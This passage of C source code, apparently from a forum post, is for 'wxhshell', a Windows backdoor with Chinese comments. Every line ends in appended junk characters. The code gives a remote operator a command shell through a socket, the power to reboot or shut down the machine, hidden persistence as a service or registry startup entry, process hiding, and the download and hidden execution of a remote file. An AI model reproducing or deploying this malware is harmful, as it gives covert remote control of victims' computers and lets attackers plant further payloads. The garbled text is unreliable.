  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); C T~6T&'  
  } O:BdZ5 b  
  else { \((MoQ9Qk  
=By@%ioIGG  
    switch(cmd[0]) { jUT`V ZK4&  
  *%uzLW0  
  // 帮助 a)|y0w)vV  
  case '?': { L : $ `8  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); a\sK{`|X*  
    break; _\AQJ?< M  
  } *QK) 1Y1W  
  // 安装 ED0cnr\yG  
  case 'i': { S5>s&  
    if(Install()) V#G)w~   
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); <4{m99  
    else z|s(D<*w  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); WcmX"{  
    break; ^y,h0?Z9  
    } aEf3hB*~  
  // 卸载 TX)W.2u=  
  case 'r': { dv+Gv7&2/  
    if(Uninstall())  }$oS /bo  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); c[ 2t,+O  
    else 3f =ZNJ>  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); sY<UJlDKT  
    break; r8"2C#  
    } _'D(>e?  
  // 显示 wxhshell 所在路径 ]p|?S[!=  
  case 'p': { mG)5xD  
    char svExeFile[MAX_PATH]; t?hfP2&6  
    strcpy(svExeFile,"\n\r"); wx-\@{E  
      strcat(svExeFile,ExeFile); k26C=tlkv"  
        send(wsh,svExeFile,strlen(svExeFile),0); stiF`l  
    break; RvG=GJJ9  
    } EPE_2a}  
  // 重启 j_C"O,WS  
  case 'b': { Nuqmp7C  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); ?}`- ?JB1  
    if(Boot(REBOOT)) c0wLc,)G  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); y\v#qFVOZ  
    else { ~\=D@G,9  
    closesocket(wsh); 7U7!'xU  
    ExitThread(0); izSX  
    } ~vTwuc\(H  
    break; Z/,R{Jgt"  
    } #91^1jyMf  
  // 关机 %P}H3;2  
  case 'd': { %OoH<\w w  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); b5MBzFw  
    if(Boot(SHUTDOWN)) bo<P%$(D  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); HMVP71  
    else { h6k" D4o\  
    closesocket(wsh); -1Tr!I:1  
    ExitThread(0); -k + jMH  
    } ; gBR~W  
    break; `E|i8M3g  
    } 4eWv).  
  // 获取shell ]9_gbQ   
  case 's': { eipg,EI  
    CmdShell(wsh); +-tFgXG  
    closesocket(wsh); +cfcr*  
    ExitThread(0); 8SpG/gl"  
    break; Y. J!]|  
  } \W=3P[gb  
  // 退出 H!*ypJ  
  case 'x': { U/'l"N[  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); \MEBQ  
    CloseIt(wsh); et5lfj  
    break; .I_atv  
    } bci]"uzB  
  // 离开 <M\&zHv  
  case 'q': { =r+K2]z,L  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); x8aOXN#w}  
    closesocket(wsh); UIDeMz  
    WSACleanup(); -] wEk%j  
    exit(1); xHt7/8wF  
    break; Q z(n41@`  
        } G,>YzjMY`  
  } ^EiU>   
  } U!uPf:p2  
j-d&4,a:c  
  // 提示信息 dQT[pNp:  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %|JiFDjp  
} W,EIBgR(R5  
  } Yuw:W:wY  
?j8!3NCl}  
  return; dnomnY(*<  
} *%/O (ohs@  
zG$5g^J  
// shell模块句柄 D\G.p |9=  
int CmdShell(SOCKET sock)  <O7!(  
{ Gtaa^mnxD  
STARTUPINFO si; =/K)hI!u  
ZeroMemory(&si,sizeof(si)); H.ZF~Yu w  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; T1qbb*  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; XB7*S*"!  
PROCESS_INFORMATION ProcessInfo; qkKl;Z?Y:  
char cmdline[]="cmd"; * EGzFXa  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); |&"aZ!Kn  
  return 0; ^"O>EY':  
} ^R:&c;&,  
7tWC<#  
// 自身启动模式 O:#YLmbCN  
int StartFromService(void) rJGh3%  
{ pl%!AY'oE>  
typedef struct PS" rXaY  
{ ?o[h$7` o6  
  DWORD ExitStatus; ^2}HF/  
  DWORD PebBaseAddress; Ho&:Zs  
  DWORD AffinityMask; .;g kV-]  
  DWORD BasePriority; {ol7*%u  
  ULONG UniqueProcessId; Uj;JN}k  
  ULONG InheritedFromUniqueProcessId; ="78#Wfj2  
}   PROCESS_BASIC_INFORMATION; MO$y st?fK  
}$z(?b  
PROCNTQSIP NtQueryInformationProcess; )T"Aji-hy  
nQQHm6N  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; .mfLHN%:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; n 6 pJ]Ce  
9;Z{++z  
  HANDLE             hProcess; -&D=4,#  
  PROCESS_BASIC_INFORMATION pbi; K@*+;6y@  
I'*,<BPG  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); @Dfg6<0  
  if(NULL == hInst ) return 0; rX)&U4#[m  
.O"a:^i  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); W+ ;=8S  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); (=uT*Cb  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); C*ep8{B  
ewd eC  
  if (!NtQueryInformationProcess) return 0; mH\zSk  
QTBc_Z  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); VOD-< "|  
  if(!hProcess) return 0; Awa| (]  
 nBp6uNK[  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; rwJ U;wy  
l,lqhq\  
  CloseHandle(hProcess); \_O#M   
"<+~uz  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); (Ff}Y.4  
if(hProcess==NULL) return 0; g,]o+nT  
ZeuL*c \  
HMODULE hMod; AE>W$x8P  
char procName[255]; ;*Vnwt A  
unsigned long cbNeeded; qdI%v#'M  
_!1LV[x!s  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); F}{%*EJ  
QP.Lq }  
  CloseHandle(hProcess); ymxA<bICS8  
BW)-F (v   
if(strstr(procName,"services")) return 1; // 以服务启动 1s(T#jh  
g ptf*^s  
  return 0; // 注册表启动 xjr4')h  
} T`wDdqWbEG  
SI~jM:S}  
// 主模块 jbipNgxkr  
int StartWxhshell(LPSTR lpCmdLine) vN^.MR+<  
{ V3ht:>c9qs  
  SOCKET wsl; 1v|-+p42  
BOOL val=TRUE; s>o#Ob@4'  
  int port=0; )KE  
  struct sockaddr_in door; &*>.u8:r  
:.ZWYze  
  if(wscfg.ws_autoins) Install(); tnobqL'  
iGSJ\  
port=atoi(lpCmdLine); dscah0T  
H2BRI d  
if(port<=0) port=wscfg.ws_port; P 9yMf~  
%Zk6K!MY#  
  WSADATA data; d~qQ_2M[G  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9no<;1+j,  
WF`%7A39Af  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   E>s+"y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); s4_Dqm  
  door.sin_family = AF_INET; Zpg;hj5_  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); enJ; #aA  
  door.sin_port = htons(port); Qwpni^D8j  
uQ-GJI^t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { =( |%%,3  
closesocket(wsl); }qso} WI  
return 1; PolJo?HZ  
} {EvT7W  
Cg]|x+  
  if(listen(wsl,2) == INVALID_SOCKET) { KV$&qM.  
closesocket(wsl); 6=]Gom&S  
return 1; Q~nVbj?c2v  
} l SdA7  
  Wxhshell(wsl); 8^}/T#l  
  WSACleanup(); E#+2)Q  
RJ@79L *#  
return 0; Xd%qebK  
X3G593ts  
} j%s,%#al  
@$r[$D v  
// 以NT服务方式启动 sMGo1pG(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) N_NN0  
{ ?Vd~  
DWORD   status = 0; ;Va(l$zD  
  DWORD   specificError = 0xfffffff; BS fmS(.  
: B&~q$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; c ^ds|7i]a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; C zJ-tEO  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; w\GJ,e  
  serviceStatus.dwWin32ExitCode     = 0; # &.syD#  
  serviceStatus.dwServiceSpecificExitCode = 0; T" {~mQ*  
  serviceStatus.dwCheckPoint       = 0; kMCP .D45;  
  serviceStatus.dwWaitHint       = 0; :Q DkaA  
THhxj)  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); _y[C52,  
  if (hServiceStatusHandle==0) return; R 9` [C  
zN!W_2W*  
status = GetLastError(); [@lK[7 u  
  if (status!=NO_ERROR) _">F]ptI;  
{ YCiG~y/~  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; T;(,9>Qsu  
    serviceStatus.dwCheckPoint       = 0; 76rv$z{g^  
    serviceStatus.dwWaitHint       = 0; X1(ds*'Kv  
    serviceStatus.dwWin32ExitCode     = status; [<@T%yq  
    serviceStatus.dwServiceSpecificExitCode = specificError; UxNn5(:sM@  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); I>FL&E@K  
    return; #ae?#?/"  
  } N62;@Z\7  
aInt[D(  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ~|Vq v{  
  serviceStatus.dwCheckPoint       = 0; qI9j=4s.  
  serviceStatus.dwWaitHint       = 0; 6ioj!w<N  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Pg T3E  
} +pqbl*W;1  
uSR%6=$  
// 处理NT服务事件,比如:启动、停止 bs|gQZG  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E7/UsUV.  
{ Oh1U=V2~  
switch(fdwControl) `3\U9ZH23  
{ Hj>9#>b  
case SERVICE_CONTROL_STOP: Y9X,2L7V  
  serviceStatus.dwWin32ExitCode = 0; E>QS^)ih  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; S|tA%2z  
  serviceStatus.dwCheckPoint   = 0; k*;U?C!  
  serviceStatus.dwWaitHint     = 0; 5%2~/ "  
  { fQib?g/G  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); M _< |n  
  } n R,QG8  
  return; THq}>QI  
case SERVICE_CONTROL_PAUSE: -Ct+W;2  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; c9[{P~y  
  break; 3iw3:1RZUZ  
case SERVICE_CONTROL_CONTINUE: e=VSO!(rY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; <~uzHg%Y  
  break; NxnR QS  
case SERVICE_CONTROL_INTERROGATE: tZ[9qms^_  
  break; d [l8qaD  
}; B bmw[Qf\  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); @@\qso  
} DL V ny]  
ppIXS(  
// 标准应用程序主函数 'Grej8  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 1oO(;--u_  
{ ;U4O` pZ  
uxxk&+M  
// 获取操作系统版本 [,Rc&7p~R  
OsIsNt=GetOsVer(); 1sg:8AA  
GetModuleFileName(NULL,ExeFile,MAX_PATH); wp}Q4I  
ys[xR=nbD  
  // 从命令行安装 ]mtiIu[  
  if(strpbrk(lpCmdLine,"iI")) Install(); ~s&r.6 DW  
S Yi!%  
  // 下载执行文件 ^ulgZ2BQ|  
if(wscfg.ws_downexe) { /95z1e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !QVhP+l'H  
  WinExec(wscfg.ws_filenam,SW_HIDE); ).jQ+XE'>  
} -%J9!(  
Vyi.:lL _8  
if(!OsIsNt) { w%`S>+kX&  
// 如果时win9x,隐藏进程并且设置为注册表启动 spP[S"gI  
HideProc(); &V+_b$  
StartWxhshell(lpCmdLine); OH>Gc-V  
} @:w^j0+h  
else -`5]%.E&8  
  if(StartFromService()) xT&/xZLT  
  // 以服务方式启动 A\S=>[ar-  
  StartServiceCtrlDispatcher(DispatchTable); p,z>:3M  
else uzQj+Po  
  // 普通方式启动 VOj7Tz9UD  
  StartWxhshell(lpCmdLine); 5GAW3j{  
,1 H|{<  
return 0; uM 'n4oH  
}
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只看该作者 1 发表于: 2006-10-10
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